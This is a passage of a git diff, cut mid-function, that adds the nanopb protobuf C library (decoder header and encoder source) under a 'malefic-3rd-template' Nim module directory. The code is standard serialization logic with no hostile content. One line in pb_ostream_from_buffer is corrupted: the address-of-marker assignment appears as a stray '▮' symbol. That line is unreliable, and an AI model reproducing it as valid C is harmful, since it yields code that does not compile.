+ mantissa >>= 1; + } + else + { + if (exponent > 127) + { + /* Too large, convert to infinity */ + exponent = 128; + mantissa = 0; + } + else if (exponent < -150) + { + /* Too small, convert to zero */ + exponent = -127; + mantissa = 0; + } + else if (exponent < -126) + { + /* Denormalized */ + mantissa |= 0x1000000; + mantissa >>= (-126 - exponent); + exponent = -127; + } + + /* Round off mantissa */ + mantissa = (mantissa + 1) >> 1; + + /* Check if mantissa went over 2.0 */ + if (mantissa & 0x800000) + { + exponent += 1; + mantissa &= 0x7FFFFF; + mantissa >>= 1; + } + } + + /* Combine fields */ + out.i = mantissa; + out.i |= (uint32_t)(exponent + 127) << 23; + out.i |= (uint32_t)sign << 31; + + *dest = out.f; + return true; +} +#endif diff --git a/malefic-3rd-template/malefic-3rd-nim/src/nim/nanopb/pb_decode.h b/malefic-3rd-template/malefic-3rd-nim/src/nim/nanopb/pb_decode.h new file mode 100644 index 0000000..3f392b2 --- /dev/null +++ b/malefic-3rd-template/malefic-3rd-nim/src/nim/nanopb/pb_decode.h @@ -0,0 +1,204 @@ +/* pb_decode.h: Functions to decode protocol buffers. Depends on pb_decode.c. + * The main function is pb_decode. You also need an input stream, and the + * field descriptions created by nanopb_generator.py. + */ + +#ifndef PB_DECODE_H_INCLUDED +#define PB_DECODE_H_INCLUDED + +#include "pb.h" + +#ifdef __cplusplus +extern "C" { +#endif + +/* Structure for defining custom input streams. You will need to provide + * a callback function to read the bytes from your storage, which can be + * for example a file or a network socket. + * + * The callback must conform to these rules: + * + * 1) Return false on IO errors. This will cause decoding to abort. + * 2) You can use state to store your own data (e.g. buffer pointer), + * and rely on pb_read to verify that no-body reads past bytes_left. + * 3) Your callback may be used with substreams, in which case bytes_left + * is different than from the main stream. Don't use bytes_left to compute + * any pointers. + */ +struct pb_istream_s +{ +#ifdef PB_BUFFER_ONLY + /* Callback pointer is not used in buffer-only configuration. + * Having an int pointer here allows binary compatibility but + * gives an error if someone tries to assign callback function. + */ + int *callback; +#else + bool (*callback)(pb_istream_t *stream, pb_byte_t *buf, size_t count); +#endif + + /* state is a free field for use of the callback function defined above. + * Note that when pb_istream_from_buffer() is used, it reserves this field + * for its own use. + */ + void *state; + + /* Maximum number of bytes left in this stream. Callback can report + * EOF before this limit is reached. Setting a limit is recommended + * when decoding directly from file or network streams to avoid + * denial-of-service by excessively long messages. + */ + size_t bytes_left; + +#ifndef PB_NO_ERRMSG + /* Pointer to constant (ROM) string when decoding function returns error */ + const char *errmsg; +#endif +}; + +#ifndef PB_NO_ERRMSG +#define PB_ISTREAM_EMPTY {0,0,0,0} +#else +#define PB_ISTREAM_EMPTY {0,0,0} +#endif + +/*************************** + * Main decoding functions * + ***************************/ + +/* Decode a single protocol buffers message from input stream into a C structure. + * Returns true on success, false on any failure. + * The actual struct pointed to by dest must match the description in fields. + * Callback fields of the destination structure must be initialized by caller. + * All other fields will be initialized by this function. + * + * Example usage: + * MyMessage msg = {}; + * uint8_t buffer[64]; + * pb_istream_t stream; + * + * // ... read some data into buffer ... + * + * stream = pb_istream_from_buffer(buffer, count); + * pb_decode(&stream, MyMessage_fields, &msg); + */ +bool pb_decode(pb_istream_t *stream, const pb_msgdesc_t *fields, void *dest_struct); + +/* Extended version of pb_decode, with several options to control + * the decoding process: + * + * PB_DECODE_NOINIT: Do not initialize the fields to default values. + * This is slightly faster if you do not need the default + * values and instead initialize the structure to 0 using + * e.g. memset(). This can also be used for merging two + * messages, i.e. combine already existing data with new + * values. + * + * PB_DECODE_DELIMITED: Input message starts with the message size as varint. + * Corresponds to parseDelimitedFrom() in Google's + * protobuf API. + * + * PB_DECODE_NULLTERMINATED: Stop reading when field tag is read as 0. This allows + * reading null terminated messages. + * NOTE: Until nanopb-0.4.0, pb_decode() also allows + * null-termination. This behaviour is not supported in + * most other protobuf implementations, so PB_DECODE_DELIMITED + * is a better option for compatibility. + * + * Multiple flags can be combined with bitwise or (| operator) + */ +#define PB_DECODE_NOINIT 0x01U +#define PB_DECODE_DELIMITED 0x02U +#define PB_DECODE_NULLTERMINATED 0x04U +bool pb_decode_ex(pb_istream_t *stream, const pb_msgdesc_t *fields, void *dest_struct, unsigned int flags); + +/* Defines for backwards compatibility with code written before nanopb-0.4.0 */ +#define pb_decode_noinit(s,f,d) pb_decode_ex(s,f,d, PB_DECODE_NOINIT) +#define pb_decode_delimited(s,f,d) pb_decode_ex(s,f,d, PB_DECODE_DELIMITED) +#define pb_decode_delimited_noinit(s,f,d) pb_decode_ex(s,f,d, PB_DECODE_DELIMITED | PB_DECODE_NOINIT) +#define pb_decode_nullterminated(s,f,d) pb_decode_ex(s,f,d, PB_DECODE_NULLTERMINATED) + +/* Release any allocated pointer fields. If you use dynamic allocation, you should + * call this for any successfully decoded message when you are done with it. If + * pb_decode() returns with an error, the message is already released. + */ +void pb_release(const pb_msgdesc_t *fields, void *dest_struct); + +/************************************** + * Functions for manipulating streams * + **************************************/ + +/* Create an input stream for reading from a memory buffer. + * + * msglen should be the actual length of the message, not the full size of + * allocated buffer. + * + * Alternatively, you can use a custom stream that reads directly from e.g. + * a file or a network socket. + */ +pb_istream_t pb_istream_from_buffer(const pb_byte_t *buf, size_t msglen); + +/* Function to read from a pb_istream_t. You can use this if you need to + * read some custom header data, or to read data in field callbacks. + */ +bool pb_read(pb_istream_t *stream, pb_byte_t *buf, size_t count); + + +/************************************************ + * Helper functions for writing field callbacks * + ************************************************/ + +/* Decode the tag for the next field in the stream. Gives the wire type and + * field tag. At end of the message, returns false and sets eof to true. */ +bool pb_decode_tag(pb_istream_t *stream, pb_wire_type_t *wire_type, uint32_t *tag, bool *eof); + +/* Skip the field payload data, given the wire type. */ +bool pb_skip_field(pb_istream_t *stream, pb_wire_type_t wire_type); + +/* Decode an integer in the varint format. This works for enum, int32, + * int64, uint32 and uint64 field types. */ +#ifndef PB_WITHOUT_64BIT +bool pb_decode_varint(pb_istream_t *stream, uint64_t *dest); +#else +#define pb_decode_varint pb_decode_varint32 +#endif + +/* Decode an integer in the varint format. This works for enum, int32, + * and uint32 field types. */ +bool pb_decode_varint32(pb_istream_t *stream, uint32_t *dest); + +/* Decode a bool value in varint format. */ +bool pb_decode_bool(pb_istream_t *stream, bool *dest); + +/* Decode an integer in the zig-zagged svarint format. This works for sint32 + * and sint64. */ +#ifndef PB_WITHOUT_64BIT +bool pb_decode_svarint(pb_istream_t *stream, int64_t *dest); +#else +bool pb_decode_svarint(pb_istream_t *stream, int32_t *dest); +#endif + +/* Decode a fixed32, sfixed32 or float value. You need to pass a pointer to + * a 4-byte wide C variable. */ +bool pb_decode_fixed32(pb_istream_t *stream, void *dest); + +#ifndef PB_WITHOUT_64BIT +/* Decode a fixed64, sfixed64 or double value. You need to pass a pointer to + * a 8-byte wide C variable. */ +bool pb_decode_fixed64(pb_istream_t *stream, void *dest); +#endif + +#ifdef PB_CONVERT_DOUBLE_FLOAT +/* Decode a double value into float variable. */ +bool pb_decode_double_as_float(pb_istream_t *stream, float *dest); +#endif + +/* Make a limited-length substream for reading a PB_WT_STRING field. */ +bool pb_make_string_substream(pb_istream_t *stream, pb_istream_t *substream); +bool pb_close_string_substream(pb_istream_t *stream, pb_istream_t *substream); + +#ifdef __cplusplus +} /* extern "C" */ +#endif + +#endif diff --git a/malefic-3rd-template/malefic-3rd-nim/src/nim/nanopb/pb_encode.c b/malefic-3rd-template/malefic-3rd-nim/src/nim/nanopb/pb_encode.c new file mode 100644 index 0000000..f9034a5 --- /dev/null +++ b/malefic-3rd-template/malefic-3rd-nim/src/nim/nanopb/pb_encode.c @@ -0,0 +1,1001 @@ +/* pb_encode.c -- encode a protobuf using minimal resources + * + * 2011 Petteri Aimonen + */ + +#include "pb.h" +#include "pb_encode.h" +#include "pb_common.h" + +/* Use the GCC warn_unused_result attribute to check that all return values + * are propagated correctly. On other compilers, gcc before 3.4.0 and iar + * before 9.40.1 just ignore the annotation. + */ +#if (defined(__GNUC__) && ((__GNUC__ > 3) || (__GNUC__ == 3 && __GNUC_MINOR__ >= 4))) || \ + (defined(__IAR_SYSTEMS_ICC__) && (__VER__ >= 9040001)) + #define checkreturn __attribute__((warn_unused_result)) +#else + #define checkreturn +#endif + +/************************************** + * Declarations internal to this file * + **************************************/ +static bool checkreturn buf_write(pb_ostream_t *stream, const pb_byte_t *buf, size_t count); +static bool checkreturn encode_array(pb_ostream_t *stream, pb_field_iter_t *field); +static bool checkreturn pb_check_proto3_default_value(const pb_field_iter_t *field); +static bool checkreturn encode_basic_field(pb_ostream_t *stream, const pb_field_iter_t *field); +static bool checkreturn encode_callback_field(pb_ostream_t *stream, const pb_field_iter_t *field); +static bool checkreturn encode_field(pb_ostream_t *stream, pb_field_iter_t *field); +static bool checkreturn encode_extension_field(pb_ostream_t *stream, const pb_field_iter_t *field); +static bool checkreturn default_extension_encoder(pb_ostream_t *stream, const pb_extension_t *extension); +static bool checkreturn pb_encode_varint_32(pb_ostream_t *stream, uint32_t low, uint32_t high); +static bool checkreturn pb_enc_bool(pb_ostream_t *stream, const pb_field_iter_t *field); +static bool checkreturn pb_enc_varint(pb_ostream_t *stream, const pb_field_iter_t *field); +static bool checkreturn pb_enc_fixed(pb_ostream_t *stream, const pb_field_iter_t *field); +static bool checkreturn pb_enc_bytes(pb_ostream_t *stream, const pb_field_iter_t *field); +static bool checkreturn pb_enc_string(pb_ostream_t *stream, const pb_field_iter_t *field); +static bool checkreturn pb_enc_submessage(pb_ostream_t *stream, const pb_field_iter_t *field); +static bool checkreturn pb_enc_fixed_length_bytes(pb_ostream_t *stream, const pb_field_iter_t *field); + +#ifdef PB_WITHOUT_64BIT +#define pb_int64_t int32_t +#define pb_uint64_t uint32_t +#else +#define pb_int64_t int64_t +#define pb_uint64_t uint64_t +#endif + +/******************************* + * pb_ostream_t implementation * + *******************************/ + +static bool checkreturn buf_write(pb_ostream_t *stream, const pb_byte_t *buf, size_t count) +{ + pb_byte_t *dest = (pb_byte_t*)stream->state; + stream->state = dest + count; + + memcpy(dest, buf, count * sizeof(pb_byte_t)); + + return true; +} + +pb_ostream_t pb_ostream_from_buffer(pb_byte_t *buf, size_t bufsize) +{ + pb_ostream_t stream; +#ifdef PB_BUFFER_ONLY + /* In PB_BUFFER_ONLY configuration the callback pointer is just int*. + * NULL pointer marks a sizing field, so put a non-NULL value to mark a buffer stream. + */ + static const int marker = 0; + stream.callback = ▮ +#else + stream.callback = &buf_write; +#endif + stream.state = buf; + stream.max_size = bufsize; + stream.bytes_written = 0; +#ifndef PB_NO_ERRMSG + stream.errmsg = NULL; +#endif + return stream; +} + +bool checkreturn pb_write(pb_ostream_t *stream, const pb_byte_t *buf, size_t count) +{ + if (count > 0 && stream->callback != NULL) + { + if (stream->bytes_written + count < stream->bytes_written || + stream->bytes_written + count > stream->max_size) + { + PB_RETURN_ERROR(stream, "stream full"); + } + +#ifdef PB_BUFFER_ONLY + if (!buf_write(stream, buf, count)) + PB_RETURN_ERROR(stream, "io error"); +#else + if (!stream->callback(stream, buf, count)) + PB_RETURN_ERROR(stream, "io error"); +#endif + } + + stream->bytes_written += count; + return true; +} + +/************************* + * Encode a single field * + *************************/ + +/* Read a bool value without causing undefined behavior even if the value + * is invalid. See issue #434 and + * https://stackoverflow.com/questions/27661768/weird-results-for-conditional + */ +static bool safe_read_bool(const void *pSize) +{ + const char *p = (const char *)pSize; + size_t i; + for (i = 0; i < sizeof(bool); i++) + { + if (p[i] != 0) + return true; + } + return false; +} + +/* Encode a static array. Handles the size calculations and possible packing. */ +static bool checkreturn encode_array(pb_ostream_t *stream, pb_field_iter_t *field) +{ + pb_size_t i; + pb_size_t count; +#ifndef PB_ENCODE_ARRAYS_UNPACKED + size_t size; +#endif + + count = *(pb_size_t*)field->pSize; + + if (count == 0) + return true; + + if (PB_ATYPE(field->type) != PB_ATYPE_POINTER && count > field->array_size) + PB_RETURN_ERROR(stream, "array max size exceeded"); + +#ifndef PB_ENCODE_ARRAYS_UNPACKED + /* We always pack arrays if the datatype allows it. */ + if (PB_LTYPE(field->type) <= PB_LTYPE_LAST_PACKABLE) + { + if (!pb_encode_tag(stream, PB_WT_STRING, field->tag)) + return false; + + /* Determine the total size of packed array. */ + if (PB_LTYPE(field->type) == PB_LTYPE_FIXED32) + { + size = 4 * (size_t)count; + } + else if (PB_LTYPE(field->type) == PB_LTYPE_FIXED64) + { + size = 8 * (size_t)count; + } + else + { + pb_ostream_t sizestream = PB_OSTREAM_SIZING; + void *pData_orig = field->pData; + for (i = 0; i < count; i++) + { + if (!pb_enc_varint(&sizestream, field)) + PB_RETURN_ERROR(stream, PB_GET_ERROR(&sizestream)); + field->pData = (char*)field->pData + field->data_size; + } + field->pData = pData_orig; + size = sizestream.bytes_written; + } + + if (!pb_encode_varint(stream, (pb_uint64_t)size)) + return false; + + if (stream->callback == NULL) + return pb_write(stream, NULL, size); /* Just sizing.. */ + + /* Write the data */ + for (i = 0; i < count; i++) + { + if (PB_LTYPE(field->type) == PB_LTYPE_FIXED32 || PB_LTYPE(field->type) == PB_LTYPE_FIXED64) + { + if (!pb_enc_fixed(stream, field)) + return false; + } + else + { + if (!pb_enc_varint(stream, field)) + return false; + } + + field->pData = (char*)field->pData + field->data_size; + } + } + else /* Unpacked fields */ +#endif + { + for (i = 0; i < count; i++) + { + /* Normally the data is stored directly in the array entries, but + * for pointer-type string and bytes fields, the array entries are + * actually pointers themselves also. So we have to dereference once + * more to get to the actual data. */ + if (PB_ATYPE(field->type) == PB_ATYPE_POINTER && + (PB_LTYPE(field->type) == PB_LTYPE_STRING || + PB_LTYPE(field->type) == PB_LTYPE_BYTES)) + { + bool status; + void *pData_orig = field->pData; + field->pData = *(void* const*)field->pData; + + if (!field->pData) + { + /* Null pointer in array is treated as empty string / bytes */ + status = pb_encode_tag_for_field(stream, field) && + pb_encode_varint(stream, 0); + } + else + { + status = encode_basic_field(stream, field); + } + + field->pData = pData_orig; + + if (!status) + return false; + } + else + { + if (!encode_basic_field(stream, field)) + return false; + } + field->pData = (char*)field->pData + field->data_size; + } + } + + return true; +} + +/* In proto3, all fields are optional and are only encoded if their value is "non-zero". + * This function implements the check for the zero value. */ +static bool checkreturn pb_check_proto3_default_value(const pb_field_iter_t *field) +{ + pb_type_t type = field->type; + + if (PB_ATYPE(type) == PB_ATYPE_STATIC) + { + if (PB_HTYPE(type) == PB_HTYPE_REQUIRED) + { + /* Required proto2 fields inside proto3 submessage, pretty rare case */ + return false; + } + else if (PB_HTYPE(type) == PB_HTYPE_REPEATED) + { + /* Repeated fields inside proto3 submessage: present if count != 0 */ + return *(const pb_size_t*)field->pSize == 0; + } + else if (PB_HTYPE(type) == PB_HTYPE_ONEOF) + { + /* Oneof fields */ + return *(const pb_size_t*)field->pSize == 0; + } + else if (PB_HTYPE(type) == PB_HTYPE_OPTIONAL && field->pSize != NULL) + { + /* Proto2 optional fields inside proto3 message, or proto3 + * submessage fields. */ + return safe_read_bool(field->pSize) == false; + } + else if (field->descriptor->default_value) + { + /* Proto3 messages do not have default values, but proto2 messages + * can contain optional fields without has_fields (generator option 'proto3'). + * In this case they must always be encoded, to make sure that the + * non-zero default value is overwritten. + */ + return false; + } + + /* Rest is proto3 singular fields */ + if (PB_LTYPE(type) <= PB_LTYPE_LAST_PACKABLE) + { + /* Simple integer / float fields */ + pb_size_t i; + const char *p = (const char*)field->pData; + for (i = 0; i < field->data_size; i++) + { + if (p[i] != 0) + { + return false; + } + } + + return true; + } + else if (PB_LTYPE(type) == PB_LTYPE_BYTES) + { + const pb_bytes_array_t *bytes = (const pb_bytes_array_t*)field->pData; + return bytes->size == 0; + } + else if (PB_LTYPE(type) == PB_LTYPE_STRING) + { + return *(const char*)field->pData == '\0'; + } + else if (PB_LTYPE(type) == PB_LTYPE_FIXED_LENGTH_BYTES) + { + /* Fixed length bytes is only empty if its length is fixed + * as 0. Which would be pretty strange, but we can check + * it anyway. */ + return field->data_size == 0; + } + else if (PB_LTYPE_IS_SUBMSG(type)) + { + /* Check all fields in the submessage to find if any of them + * are non-zero. The comparison cannot be done byte-per-byte + * because the C struct may contain padding bytes that must + * be skipped. Note that usually proto3 submessages have + * a separate has_field that is checked earlier in this if. + */ + pb_field_iter_t iter; + if (pb_field_iter_begin(&iter, field->submsg_desc, field->pData)) + { + do + { + if (!pb_check_proto3_default_value(&iter)) + { + return false; + } + } while (pb_field_iter_next(&iter)); + } + return true; + } + } + else if (PB_ATYPE(type) == PB_ATYPE_POINTER) + { + return field->pData == NULL; + } + else if (PB_ATYPE(type) == PB_ATYPE_CALLBACK) + { + if (PB_LTYPE(type) == PB_LTYPE_EXTENSION) + { + const pb_extension_t *extension = *(const pb_extension_t* const *)field->pData; + return extension == NULL; + } + else if (field->descriptor->field_callback == pb_default_field_callback) + { + pb_callback_t *pCallback = (pb_callback_t*)field->pData; + return pCallback->funcs.encode == NULL; + } + else + { + return field->descriptor->field_callback == NULL; + } + } + + return false; /* Not typically reached, safe default for weird special cases. */ +} + +/* Encode a field with static or pointer allocation, i.e. one whose data + * is available to the encoder directly. */ +static bool checkreturn encode_basic_field(pb_ostream_t *stream, const pb_field_iter_t *field) +{ + if (!field->pData) + { + /* Missing pointer field */ + return true; + } + + if (!pb_encode_tag_for_field(stream, field)) + return false; + + switch (PB_LTYPE(field->type)) + { + case PB_LTYPE_BOOL: + return pb_enc_bool(stream, field); + + case PB_LTYPE_VARINT: + case PB_LTYPE_UVARINT: + case PB_LTYPE_SVARINT: + return pb_enc_varint(stream, field); + + case PB_LTYPE_FIXED32: + case PB_LTYPE_FIXED64: + return pb_enc_fixed(stream, field); + + case PB_LTYPE_BYTES: + return pb_enc_bytes(stream, field); + + case PB_LTYPE_STRING: + return pb_enc_string(stream, field); + + case PB_LTYPE_SUBMESSAGE: + case PB_LTYPE_SUBMSG_W_CB: + return pb_enc_submessage(stream, field); + + case PB_LTYPE_FIXED_LENGTH_BYTES: + return pb_enc_fixed_length_bytes(stream, field); + + default: + PB_RETURN_ERROR(stream, "invalid field type"); + } +} + +/* Encode a field with callback semantics. This means that a user function is + * called to provide and encode the actual data. */ +static bool checkreturn encode_callback_field(pb_ostream_t *stream, const pb_field_iter_t *field) +{ + if (field->descriptor->field_callback != NULL) + { + if (!field->descriptor->field_callback(NULL, stream, field)) + PB_RETURN_ERROR(stream, "callback error"); + } + return true; +} + +/* Encode a single field of any callback, pointer or static type. */ +static bool checkreturn encode_field(pb_ostream_t *stream, pb_field_iter_t *field) +{ + /* Check field presence */ + if (PB_HTYPE(field->type) == PB_HTYPE_ONEOF) + { + if (*(const pb_size_t*)field->pSize != field->tag) + { + /* Different type oneof field */ + return true; + } + } + else if (PB_HTYPE(field->type) == PB_HTYPE_OPTIONAL) + { + if (field->pSize) + { + if (safe_read_bool(field->pSize) == false) + { + /* Missing optional field */ + return true; + } + } + else if (PB_ATYPE(field->type) == PB_ATYPE_STATIC) + { + /* Proto3 singular field */ + if (pb_check_proto3_default_value(field)) + return true; + } + } + + if (!field->pData) + { + if (PB_HTYPE(field->type) == PB_HTYPE_REQUIRED) + PB_RETURN_ERROR(stream, "missing required field"); + + /* Pointer field set to NULL */ + return true; + } + + /* Then encode field contents */ + if (PB_ATYPE(field->type) == PB_ATYPE_CALLBACK) + { + return encode_callback_field(stream, field); + } + else if (PB_HTYPE(field->type) == PB_HTYPE_REPEATED) + { + return encode_array(stream, field); + } + else + { + return encode_basic_field(stream, field); + } +} + +/* Default handler for extension fields. Expects to have a pb_msgdesc_t + * pointer in the extension->type->arg field, pointing to a message with + * only one field in it. */ +static bool checkreturn default_extension_encoder(pb_ostream_t *stream, const pb_extension_t *extension) +{ + pb_field_iter_t iter; + + if (!pb_field_iter_begin_extension_const(&iter, extension)) + PB_RETURN_ERROR(stream, "invalid extension"); + + return encode_field(stream, &iter); +} + + +/* Walk through all the registered extensions and give them a chance + * to encode themselves. */ +static bool checkreturn encode_extension_field(pb_ostream_t *stream, const pb_field_iter_t *field) +{ + const pb_extension_t *extension = *(const pb_extension_t* const *)field->pData; + + while (extension) + { + bool status; + if (extension->type->encode) + status = extension->type->encode(stream, extension); + else + status = default_extension_encoder(stream, extension); + + if (!status) + return false; + + extension = extension->next; + } + + return true; +} + +/********************* + * Encode all fields * + *********************/ + +bool checkreturn pb_encode(pb_ostream_t *stream, const pb_msgdesc_t *fields, const void *src_struct) +{ + pb_field_iter_t iter; + if (!pb_field_iter_begin_const(&iter, fields, src_struct)) + return true; /* Empty message type */ + + do { + if (PB_LTYPE(iter.type) == PB_LTYPE_EXTENSION) + { + /* Special case for the extension field placeholder */ + if (!encode_extension_field(stream, &iter)) + return false; + } + else + { + /* Regular field */ + if (!encode_field(stream, &iter)) + return false; + } + } while (pb_field_iter_next(&iter)); + + return true; +} + +bool checkreturn pb_encode_ex(pb_ostream_t *stream, const pb_msgdesc_t *fields, const void *src_struct, unsigned int flags) +{ + if ((flags & PB_ENCODE_DELIMITED) != 0) + { + return pb_encode_submessage(stream, fields, src_struct); + } + else if ((flags & PB_ENCODE_NULLTERMINATED) != 0) + { + const pb_byte_t zero = 0; + + if (!pb_encode(stream, fields, src_struct)) + return false; + + return pb_write(stream, &zero, 1); + } + else + { + return pb_encode(stream, fields, src_struct); + } +} + +bool pb_get_encoded_size(size_t *size, const pb_msgdesc_t *fields, const void *src_struct) +{ + pb_ostream_t stream = PB_OSTREAM_SIZING; + + if (!pb_encode(&stream, fields, src_struct)) + return false; + + *size = stream.bytes_written; + return true; +} + +/******************** + * Helper functions * + ********************/ + +/* This function avoids 64-bit shifts as they are quite slow on many platforms. */ +static bool checkreturn pb_encode_varint_32(pb_ostream_t *stream, uint32_t low, uint32_t high) +{ + size_t i = 0; + pb_byte_t buffer[10]; + pb_byte_t byte = (pb_byte_t)(low & 0x7F); + low >>= 7; + + while (i < 4 && (low != 0 || high != 0)) + { + byte |= 0x80; + buffer[i++] = byte; + byte = (pb_byte_t)(low & 0x7F); + low >>= 7; + } + + if (high) + { + byte = (pb_byte_t)(byte | ((high & 0x07) << 4)); + high >>= 3; + + while (high) + { + byte |= 0x80; + buffer[i++] = byte; + byte = (pb_byte_t)(high & 0x7F); + high >>= 7; + } + } + + buffer[i++] = byte; + + return pb_write(stream, buffer, i); +} + +bool checkreturn pb_encode_varint(pb_ostream_t *stream, pb_uint64_t value) +{ + if (value <= 0x7F) + { + /* Fast path: single byte */ + pb_byte_t byte = (pb_byte_t)value; + return pb_write(stream, &byte, 1); + } + else + { +#ifdef PB_WITHOUT_64BIT + return pb_encode_varint_32(stream, value, 0); +#else + return pb_encode_varint_32(stream, (uint32_t)value, (uint32_t)(value >> 32)); +#endif + } +} + +bool checkreturn pb_encode_svarint(pb_ostream_t *stream, pb_int64_t value) +{ + pb_uint64_t zigzagged; + pb_uint64_t mask = ((pb_uint64_t)-1) >> 1; /* Satisfy clang -fsanitize=integer */ + if (value < 0) + zigzagged = ~(((pb_uint64_t)value & mask) << 1); + else + zigzagged = (pb_uint64_t)value << 1; + + return pb_encode_varint(stream, zigzagged); +} + +bool checkreturn pb_encode_fixed32(pb_ostream_t *stream, const void *value) +{ +#if defined(PB_LITTLE_ENDIAN_8BIT) && PB_LITTLE_ENDIAN_8BIT == 1 + /* Fast path if we know that we're on little endian */ + return pb_write(stream, (const pb_byte_t*)value, 4); +#else + uint32_t val = *(const uint32_t*)value; + pb_byte_t bytes[4]; + bytes[0] = (pb_byte_t)(val & 0xFF); + bytes[1] = (pb_byte_t)((val >> 8) & 0xFF); + bytes[2] = (pb_byte_t)((val >> 16) & 0xFF); + bytes[3] = (pb_byte_t)((val >> 24) & 0xFF); + return pb_write(stream, bytes, 4); +#endif +} + +#ifndef PB_WITHOUT_64BIT +bool checkreturn pb_encode_fixed64(pb_ostream_t *stream, const void *value) +{ +#if defined(PB_LITTLE_ENDIAN_8BIT) && PB_LITTLE_ENDIAN_8BIT == 1 + /* Fast path if we know that we're on little endian */ + return pb_write(stream, (const pb_byte_t*)value, 8); +#else + uint64_t val = *(const uint64_t*)value; + pb_byte_t bytes[8]; + bytes[0] = (pb_byte_t)(val & 0xFF); + bytes[1] = (pb_byte_t)((val >> 8) & 0xFF); + bytes[2] = (pb_byte_t)((val >> 16) & 0xFF); + bytes[3] = (pb_byte_t)((val >> 24) & 0xFF); + bytes[4] = (pb_byte_t)((val >> 32) & 0xFF); + bytes[5] = (pb_byte_t)((val >> 40) & 0xFF); + bytes[6] = (pb_byte_t)((val >> 48) & 0xFF); + bytes[7] = (pb_byte_t)((val >> 56) & 0xFF); + return pb_write(stream, bytes, 8); +#endif +} +#endif + +bool checkreturn pb_encode_tag(pb_ostream_t *stream, pb_wire_type_t wiretype, uint32_t field_number) +{ + pb_uint64_t tag = ((pb_uint64_t)field_number << 3) | wiretype; + return pb_encode_varint(stream, tag); +} + +bool pb_encode_tag_for_field ( pb_ostream_t* stream, const pb_field_iter_t* field ) +{ + pb_wire_type_t wiretype; + switch (PB_LTYPE(field->type)) + { + case PB_LTYPE_BOOL: + case PB_LTYPE_VARINT: + case PB_LTYPE_UVARINT: + case PB_LTYPE_SVARINT: + wiretype = PB_WT_VARINT; + break; + + case PB_LTYPE_FIXED32: + wiretype = PB_WT_32BIT; + break; + + case PB_LTYPE_FIXED64: + wiretype = PB_WT_64BIT; + break; + + case PB_LTYPE_BYTES: + case PB_LTYPE_STRING: + case PB_LTYPE_SUBMESSAGE: + case PB_LTYPE_SUBMSG_W_CB: + case PB_LTYPE_FIXED_LENGTH_BYTES: + wiretype = PB_WT_STRING; + break; + + default: + PB_RETURN_ERROR(stream, "invalid field type"); + } + + return pb_encode_tag(stream, wiretype, field->tag); +} + +bool checkreturn pb_encode_string(pb_ostream_t *stream, const pb_byte_t *buffer, size_t size) +{ + if (!pb_encode_varint(stream, (pb_uint64_t)size)) + return false; + + return pb_write(stream, buffer, size); +} + +bool checkreturn pb_encode_submessage(pb_ostream_t *stream, const pb_msgdesc_t *fields, const void *src_struct) +{ + /* First calculate the message size using a non-writing substream. */ + pb_ostream_t substream = PB_OSTREAM_SIZING; + size_t size; + bool status; + + if (!pb_encode(&substream, fields, src_struct)) + { +#ifndef PB_NO_ERRMSG + stream->errmsg = substream.errmsg; +#endif + return false; + } + + size = substream.bytes_written; + + if (!pb_encode_varint(stream, (pb_uint64_t)size)) + return false; + + if (stream->callback == NULL) + return pb_write(stream, NULL, size); /* Just sizing */ + + if (stream->bytes_written + size > stream->max_size) + PB_RETURN_ERROR(stream, "stream full"); + + /* Use a substream to verify that a callback doesn't write more than + * what it did the first time. */ + substream.callback = stream->callback; + substream.state = stream->state; + substream.max_size = size; + substream.bytes_written = 0; +#ifndef PB_NO_ERRMSG + substream.errmsg = NULL; +#endif + + status = pb_encode(&substream, fields, src_struct); + + stream->bytes_written += substream.bytes_written; + stream->state = substream.state; +#ifndef PB_NO_ERRMSG + stream->errmsg = substream.errmsg; +#endif + + if (substream.bytes_written != size) + PB_RETURN_ERROR(stream, "submsg size changed"); + + return status; +} + +/* Field encoders */ + +static bool checkreturn pb_enc_bool(pb_ostream_t *stream, const pb_field_iter_t *field) +{ + uint32_t value = safe_read_bool(field->pData) ? 1 : 0; + PB_UNUSED(field); + return pb_encode_varint(stream, value); +} + +static bool checkreturn pb_enc_varint(pb_ostream_t *stream, const pb_field_iter_t *field) +{ + if (PB_LTYPE(field->type) == PB_LTYPE_UVARINT) + { + /* Perform unsigned integer extension */ + pb_uint64_t value = 0; + + if (field->data_size == sizeof(uint_least8_t)) + value = *(const uint_least8_t*)field->pData; + else if (field->data_size == sizeof(uint_least16_t)) + value = *(const uint_least16_t*)field->pData; + else if (field->data_size == sizeof(uint32_t)) + value = *(const uint32_t*)field->pData; + else if (field->data_size == sizeof(pb_uint64_t)) + value = *(const pb_uint64_t*)field->pData; + else + PB_RETURN_ERROR(stream, "invalid data_size"); + + return pb_encode_varint(stream, value); + } + else + { + /* Perform signed integer extension */ + pb_int64_t value = 0; + + if (field->data_size == sizeof(int_least8_t)) + value = *(const int_least8_t*)field->pData; + else if (field->data_size == sizeof(int_least16_t)) + value = *(const int_least16_t*)field->pData; + else if (field->data_size == sizeof(int32_t)) + value = *(const int32_t*)field->pData; + else if (field->data_size == sizeof(pb_int64_t)) + value = *(const pb_int64_t*)field->pData; + else + PB_RETURN_ERROR(stream, "invalid data_size"); + + if (PB_LTYPE(field->type) == PB_LTYPE_SVARINT) + return pb_encode_svarint(stream, value); +#ifdef PB_WITHOUT_64BIT + else if (value < 0) + return pb_encode_varint_32(stream, (uint32_t)value, (uint32_t)-1); +#endif + else + return pb_encode_varint(stream, (pb_uint64_t)value); + + } +} + +static bool checkreturn pb_enc_fixed(pb_ostream_t *stream, const pb_field_iter_t *field) +{ +#ifdef PB_CONVERT_DOUBLE_FLOAT + if (field->data_size == sizeof(float) && PB_LTYPE(field->type) == PB_LTYPE_FIXED64) + { + return pb_encode_float_as_double(stream, *(float*)field->pData); + } +#endif + + if (field->data_size == sizeof(uint32_t)) + { + return pb_encode_fixed32(stream, field->pData); + } +#ifndef PB_WITHOUT_64BIT + else if (field->data_size == sizeof(uint64_t)) + { + return pb_encode_fixed64(stream, field->pData); + } +#endif + else + { + PB_RETURN_ERROR(stream, "invalid data_size"); + } +} + +static bool checkreturn pb_enc_bytes(pb_ostream_t *stream, const pb_field_iter_t *field) +{ + const pb_bytes_array_t *bytes = NULL; + + bytes = (const pb_bytes_array_t*)field->pData; + + if (bytes == NULL) + { + /* Treat null pointer as an empty bytes field */ + return pb_encode_string(stream, NULL, 0); + } + + if (PB_ATYPE(field->type) == PB_ATYPE_STATIC && + bytes->size > field->data_size - offsetof(pb_bytes_array_t, bytes)) + { + PB_RETURN_ERROR(stream, "bytes size exceeded"); + } + + return pb_encode_string(stream, bytes->bytes, 